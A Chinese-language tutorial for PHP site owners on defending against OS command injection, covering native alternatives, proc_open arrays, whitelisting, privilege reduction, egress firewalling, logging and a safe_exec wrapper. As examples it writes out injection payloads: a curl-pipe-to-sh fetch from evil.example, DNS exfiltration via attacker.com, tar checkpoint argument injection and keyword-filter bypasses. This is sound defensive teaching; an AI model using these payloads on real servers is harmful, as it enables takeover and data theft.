一、命令注入为什么比 SQL 注入更致命
个人站长维护的站点里,大概有一半以上的项目最终都会遇到一个需求:执行系统命令。备份数据库要调 mysqldump,生成缩略图要调 ffmpeg 或 convert,图片压缩要调 pngquant,站点迁移要调 tar,甚至连"用户上传文件的大小检查"都有人图省事去调 ls -l。这些需求都合理,但它们共同打开了一扇门:只要命令里拼进了任何一段用户可控的字符串,攻击者就有机会让服务器执行他想要的任意指令。
命令注入和 SQL 注入在原理上是一回事——都是把数据当成代码拼进了某个解释器——但危害完全不在一个量级。SQL 注入最坏的结果是数据库被拖、被改、被删,你有另一个主机上的备份就能救回来;命令注入拿到的却是服务器进程的 Shell 权限,攻击者可以读 /home/wwwroot/你的站/config.inc.php 里的数据库密码,可以写到别的站点目录,可以用 curl 把数据往外发,可以往 crontab 里加一条定时任务做持久化。从"数据泄露"到"整台服务器易主",中间只差一个 ;。
更麻烦的是,命令注入往往藏在你以为"没风险"的地方。下面这段代码在无数的自建站里都能找到,作者的意图非常单纯:
$name = $_GET['file'];
exec("mv /tmp/upload/" . $name . " /data/images/");
看起来只是把用户上传的文件挪到正式目录。但如果请求是 ?file=a.jpg;curl http://evil.example/x.sh|sh,实际执行的命令就变成了 mv /tmp/upload/a.jpg; curl http://evil.example/x.sh|sh /data/images/——分号之后的整段被当成第二条命令执行。这条链路连一次登录都不需要,一个 GET 请求就能拿下服务器。
二、四种常见的注入形态与它们的分隔符
想要防住命令注入,先要知道攻击者能从哪里切进来。PHP 里执行命令的函数有 exec、system、shell_exec、passthru、popen、proc_open、反引号操作符,以及 mail() 的第五个参数(这一条很多人不知道,历史上出过若干次漏洞)。它们全都经过 /bin/sh -c,所以下面这些分隔符都可以生效:
- 命令分隔:
;、换行、&&、||——作用是把一段拆成多条命令。 - 管道:
|——把前一条命令的输出送给后一条。上面例子里的|sh就是典型用法。 - 命令替换:反引号、
$()——先执行括号里的内容,把结果填回原位置。哪怕命令本身看起来只读也会被利用,比如ping $(whoami).attacker.com就能把结果通过 DNS 请求带出去。 - 重定向:
>、>>、<——可以直接覆盖文件,例如cat x > /var/www/html/index.php。 - 参数注入:不带分号也能注入。命令的参数如果以
-开头,攻击者就能塞进一个你没打算让他用的选项,比如tar -cf backup.tar --checkpoint-action=exec=sh,再配合--checkpoint让它真的执行。find、curl、tar、rsync都有这类"选项即功能"的风险。 - 通配符与编码绕过:
$IFS可以替代空格,\c、'c'、c""at可以绕开"关键字黑名单",十六进制$'\x63\x61\x74'更彻底。所以任何靠"过滤 cat、ls、rm 这几个词"的做法都不成立。
顺带提醒一个常见误区:escapeshellarg() 是可靠的,但很多人把 escapeshellcmd() 当成它的同类,实际上后者只转义了一部分元字符,对参数内容基本不管。拼参数用 escapeshellarg,永远不要用 escapeshellcmd 去处理用户输入。
三、第一层:能不能不执行外部命令
最好的防线永远是"根本不调 Shell"。绝大多数站点用命令行只是图方便,而在 PHP 里有等价的原生实现:
- 移动/复制/删除文件:
rename()、copy()、unlink()、mkdir()——比mv、cp、rm快且没有注入面。 - 取文件信息:
filesize()、filemtime()、getimagesize()、finfo_file(),别去调ls -l再解析字符串(顺便说,解析ls输出本身就是个经典 bug,带空格的文件名必崩)。 - 打包压缩:PHP 的
ZipArchive能直接压缩,PharData能处理 tar/gz;图片处理用 GD 或 Imagick 扩展。 - 发邮件:用 SMTP 库(PHPMailer),不要用
mail(),第五个参数是注入热点。 - 备份数据库:这是唯一很难绕开的场景。可以用 PHP 遍历表导 SQL(小库可行,大库会很慢),或者干脆用
cron里固定写好的命令,让 Web 端只负责"点一下写入一个开关文件",由 root 的 cron 去读开关执行固定脚本。
这条原则叫"数据永远不该变成命令"。真正需要动态参数的命令,只允许出现在参数来自代码常量或白名单的场景里。
四、第二层:用数组形式的进程 API,绕开 Shell
如果确实必须调外部程序,PHP 7.4 及以上提供了 proc_open 的数组形式,第一个参数传数组,系统就会直接 execve 这个程序,完全不经过 /bin/sh -c:
$cmd = ['/usr/bin/pngquant', '--quality=65-80', '--output', $out, '--force', $in];
$proc = proc_open($cmd, [1 => ['pipe','w'], 2 => ['pipe','w']], $pipes);
if (!is_resource($proc)) { throw new RuntimeException('spawn failed'); }
数组形式的意义在于:哪怕 $in 的内容是 a.png; rm -rf /,它也只会被当作一个参数传给 pngquant,pngquant 找不到这个文件就报错退出。分号、管道、$() 全部失效,因为它们从未被交给 Shell 解释。这是从原理上消除注入,而不是"过滤掉危险字符"。
要注意三个细节。第一,数组形式要求 PHP 7.4+,老站点要先确认版本(PHP 5.6 只有字符串形式,那就必须走 escapeshellarg 的路线)。第二,参数里的第一个元素最好写绝对路径,不要依赖 PATH——否则攻击者若能影响 PATH 环境变量,就能让你执行到他的同名程序。第三,proc_open 的第三个参数 $pipes 传的是引用,记得读完输出后 fclose 每个管道再 proc_close,否则子进程会变成僵尸。
老版本 PHP 上的等价写法是把每个参数都过一遍 escapeshellarg,并且命令本身写成绝对路径:
$cmd = '/usr/bin/pngquant --quality=65-80 --output ' . escapeshellarg($out)
. ' --force ' . escapeshellarg($in);
escapeshellarg 在 Linux 上的行为是给参数加单引号并把内部的单引号替换成 '\'',这个实现是安全的。真正的风险在于"漏了一个参数没包"——所以更好的做法是写一个 run(array $args) 的小函数,强制所有调用走它,参数少于两个或者含有非字符串元素就直接抛异常。
五、第三层:参数白名单,尤其是文件名
即使不经过 Shell,用户输入依然可能造成危害,最典型的是"参数是个路径"。假设你的缩略图服务长这样:
system('/usr/bin/convert ' . escapeshellarg($_GET['src']) . ' -resize 200x /tmp/thumb.jpg');
这里没有命令注入,但攻击者可以传 src=/etc/passwd,或者 src=../../../../home/wwwroot/b/config.inc.php,让 ImageMagick 去读服务器上的任意文件(如果输出还能被下载,那就是完整的任意文件读取)。这就是"路径穿越",它和命令注入经常结伴出现。
正确做法是不要让用户传路径,让他传标识符:
// 数据库里查得到才用,查不到就 404
$id = (int)($_GET['id'] ?? 0);
$row = $db->fetchRow($db->select('path')->from('table_uploads')->where('id = ?', $id));
if (!$row) { http_response_code(404); exit; }
$base = realpath('/data/uploads') . '/';
$src = realpath($base . basename($row['path']));
if ($src === false || strpos($src, $base) !== 0) { http_response_code(403); exit; }
这段代码有三重保险:数据库做授权(用户的输入只能映射到他有权访问的记录)、basename() 砍掉目录部分、realpath() 展开 .. 与符号链接之后再比对前缀。只做 str_replace('../','') 是不够的,因为 ....// 替换之后又会拼回 ../;%2e%2e%2f 这类编码形式要看你在哪一层解码。以 realpath 展开后的绝对路径做前缀比对,才是可靠的判据。
同理,凡是会进入命令行参数的值,都该有一个白名单:图片格式只允许 jpg|png|webp,语言只允许 zh|en|ko,排序方向只允许 asc|desc。白名单比黑名单好的地方在于,它是有限集合——你可以把整个集合写进代码,而黑名单永远在追着攻击者跑。
六、第四层:降权运行与 open_basedir
前三层是"别让注入发生",这一层是"万一发生了,损失有多大"。Web 进程如果以 root 跑,一次命令注入就等于服务器完全沦陷;以 www-data 跑,攻击者至少还得想办法提权。
- 确认 PHP-FPM 的
user/group不是 root:grep -E '^(user|group)' /usr/local/php/etc/php-fpm.d/www.conf。宝塔面板默认是www,自编译环境有人图省事写成 root,这是最常见的隐患。 - 用
open_basedir把 PHP 能访问的文件系统限制在站点目录与临时目录:open_basedir = /home/wwwroot/你的站/:/tmp/。它对file_get_contents、include、fopen都生效,能挡住大部分任意文件读取与 LFI;但它对exec出来的子进程不生效,别把它当成万灵药。 - 禁用危险函数:
disable_functions = exec,system,shell_exec,passthru,popen,proc_open,pcntl_exec,putenv。注意disable_functions是按函数名匹配的,大小写不敏感,但对proc_open这类"确实需要"的函数就要留给具体项目,可以只在不需要的池里禁用。 - 给站点目录设好属主,配置文件和
.git目录不给 www 写权限,chmod 640足够。上传目录设为不可执行:Nginx 里加location ~* ^/uploads/.*\.(php|phtml|php5)$ { deny all; }。
再进一步,可以在 systemd 服务的层面加沙箱。PHP-FPM 由 systemd 拉起时,PrivateTmp=true 让 /tmp 独立,ProtectSystem=strict 把整个文件系统挂成只读(只留 ReadWritePaths 指定的目录),NoNewPrivileges=true 阻止 setuid 提权。这三条加上去之后,即使注入成功,攻击者也很难落地文件、装不进持久化。
七、第五层:出站流量与日志留痕
命令注入被利用时,攻击者几乎一定要往外连——反弹 Shell、下载二阶段脚本、把数据传回自己的服务器。所以限制出站比限制入站更有效:
# 允许本机回环与已建立连接,放行 DNS 与 HTTP(S),其余出站一律丢弃
iptables -A OUTPUT -o lo -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -j LOG --log-prefix "OUTBLOCK: "
iptables -A OUTPUT -j DROP
这条规则会挡掉反弹 Shell 常用的高位端口(4444、9001、1337 之类)。它当然不是密不透风的——攻击者可以走 443——但它把攻击成本从"一行 curl"抬到了"得找一个能过 443 的通道",而且 LOG 那一行会在 /var/log/messages 里留下痕迹。
日志方面,Web 端的命令执行请求同样要留痕。最省事的做法是在 exec 的封装函数里写一条应用日志,记录"谁、在什么 IP、执行了哪个脚本、参数是什么",而不要记录完整命令(可能含密码)。同时在 Nginx 层加一条规则,把含有 ; | $( 反引号的 query string 单独记到一个文件里,方便事后审计:
map $args $suspicious {
default 0;
"~*[;|`]|\\$\\(" 1;
}
server {
access_log /var/log/nginx/suspicious.log combined if=$suspicious;
}
这条规则不能当成拦截手段(正常参数里也可能有分号),它的价值在于把"零星几条可疑请求"从每天几十万行日志里挑出来,让你能在出事之前就发现有人在试探。
八、一个可以直接抄的 safe_exec 封装
上面这些原则落到代码里,最好收敛成唯一的入口函数,让项目里所有执行外部命令的地方都走它。这样审计的时候只看一个文件就够了:
function safe_exec(array $args, array $opts = []): array
{
// 1) 只允许绝对路径的可执行文件(白名单二选一:常量表或配置)
static $allow = [
'/usr/bin/pngquant', '/usr/bin/convert',
'/usr/bin/ffmpeg', '/usr/bin/jpegoptim',
];
if (!in_array($args[0], $allow, true)) {
throw new InvalidArgumentException('binary not allowed');
}
// 2) 每个参数必须是标量字符串,且不含 NUL
foreach ($args as $a) {
if (!is_string($a) || strpos($a, "\0") !== false) {
throw new InvalidArgumentException('bad argument');
}
}
// 3) 数组形式调用(PHP 7.4+),彻底不经过 Shell
$proc = proc_open($args, [1 => ['pipe','w'], 2 => ['pipe','w']], $pipes);
if (!is_resource($proc)) { throw new RuntimeException('spawn failed'); }
$out = stream_get_contents($pipes[1]);
$err = stream_get_contents($pipes[2]);
fclose($pipes[1]); fclose($pipes[2]);
$code = proc_close($proc);
// 4) 留痕:只记脚本名与参数个数,不记完整参数
error_log(sprintf('safe_exec %s argc=%d rc=%d', basename($args[0]), count($args) - 1, $code));
return [$code, $out, $err];
}
这个函数有三处刻意为之的设计。第一,它不接受字符串命令,调用方没法"偷懒"拼一个字符串进来。第二,可执行文件走白名单,即使攻击者能控制参数,他也只能喂给你已经装好的那几个程序。第三,它只记参数个数不记完整内容,避免日志里出现用户的敏感路径,同时保留了"谁在什么时候调用过什么程序"的基本事实。
老版本 PHP 要把第三步换成 escapeshellarg 拼串或者换成 exec + 2>&1,但前面两步的白名单与参数校验一字不能少——它们才是真正拦住注入的那两道门,Shell 转义只是最后一道保险。
九、四个真实踩坑
第一个坑是"只检查了参数名,没检查值"。有项目写了 if (!isset($_GET['w']) || !is_numeric($_GET['w'])) exit;,看起来校验得很到位,is_numeric 却接受 " 1"、"1e3"、"0x1A" 这些格式。如果紧接着把它拼进 exec,前面的空格足以造成参数错位。凡是数值型参数,一律用 (int) 或 intval() 强转,不要停留在"校验通过就用"的层面。
第二个坑是"临时文件名可控"。上传接口常写成 /tmp/upload_>.$_FILES['f']['name'] 或者用用户传入的扩展名拼临时文件,然后在另一个请求里按这个路径去处理。攻击者第一次上传文件名 x.png;id,第二次调处理接口时就注入了。正确做法是临时文件名一律用 tempnam() 或 bin2hex(random_bytes(8)) 生成,扩展名从真实 MIME 推断,绝不取自用户输入。
第三个坑是"配置文件里拼命令"。有人把备份脚本的命令模板写进后台设置项,管理员在后台可以修改,然后被前台触发执行。这种设计等于把命令执行能力开放给了后台——一旦后台账号被撞库,攻击者不用再找漏洞,直接改设置就能执行命令。凡是能变成"配置项"的命令,都要改成固定的脚本文件名,程序只允许传有限的几个开关。
第四个坑是"以为是内部调用"。本地调 file_get_contents('http://127.0.0.1:8080/api?x=' . $user) 看起来是自家服务,但那个服务如果把参数拼进了它自己的 shell_exec,攻击链路依然成立,而且日志会显示成"内网请求",排查时容易被忽略。这也是为什么 SSRF 与命令注入经常串联——防御要沿着整条链路看,而不是只看入口那一个文件。
十、自查清单
如果你只想要一份能在半小时内跑完的检查,按下面五步走:
- 搜一遍代码:
grep -rn "exec\|system\|shell_exec\|passthru\|proc_open\|popen" --include=*.php ./,把每一处的参数来源列出来,凡是参数里有$_GET、$_POST、$_REQUEST、$_COOKIE或数据库读出来的字段,都算可疑。 - 看 PHP 配置:
php -i | grep -E 'open_basedir|disable_functions',确认站点池不是 root、有open_basedir。 - 看上传与临时目录:
ls -la /tmp | head,确认没有可预测命名的临时文件;.sh、.py这类脚本不该出现在 Web 可访问目录。 - 看日志:在访问日志里
grep -E '[;|`]|\$(',出现大量带分号的参数就是有人在试探。 - 动手测:找一个含文件名的接口,把参数换成
a.jpg;sleep 5,如果响应时间明显变长,就是确认了注入点——这是最没有破坏性的验证方式。
命令注入这种漏洞的特点,是"平时完全看不出来,出事就是灭顶之灾"。它往往藏在三年前写的一段只要跑一次的临时代码里,藏在某个早就没人维护的插件里,藏在"我们内部用的不会有人访问"的那个路径里。而防护的成本其实很低:不调 Shell、不拼字符串、参数走白名单、进程降权、出站限流。五条做到四条,绝大多数尝试都会失败;做到五条,即使代码里还剩一个洞,攻击者也很难把它变成一次真正的入侵。